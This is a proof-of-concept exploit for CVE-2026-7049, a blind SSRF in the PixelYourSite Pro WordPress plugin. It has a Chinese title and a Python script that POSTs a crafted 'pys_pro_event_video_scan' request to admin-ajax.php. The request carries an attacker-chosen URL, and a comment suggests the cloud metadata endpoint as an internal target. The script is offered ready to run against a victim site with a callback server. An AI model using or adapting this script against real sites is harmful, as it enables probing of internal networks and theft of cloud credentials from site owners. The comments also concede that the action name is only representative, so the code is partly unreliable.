CVE-2026-7049 WordPress插件PixelYourSite Pro SSRF漏洞

# PoC for CVE-2026-7049 (Blind SSRF) # This script sends a request to the vulnerable WordPress plugin to trigger an SSRF. import requests def exploit_ssrf(target_url, attacker_callback_url): # The endpoint is typically wp-admin/admin-ajax.php endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload data based on the 'scan_video' functionality # Action name might vary depending on plugin version hooks, this is a representative example payload = { "action": "pys_pro_event_video_scan", "url": attacker_callback_url # Attacker controlled URL or internal IP (e.g., http://169.254.169.254/latest/meta-data/) } try: print(f"[*] Sending SSRF request to {target_url}...") response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check your callback server for DNS/HTTP hits.") else: print(f"[-] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://victim-wordpress-site.com" # Replace with your Burp Collaborator or Interactsh URL callback = "http://oast.me/callback" exploit_ssrf(target, callback)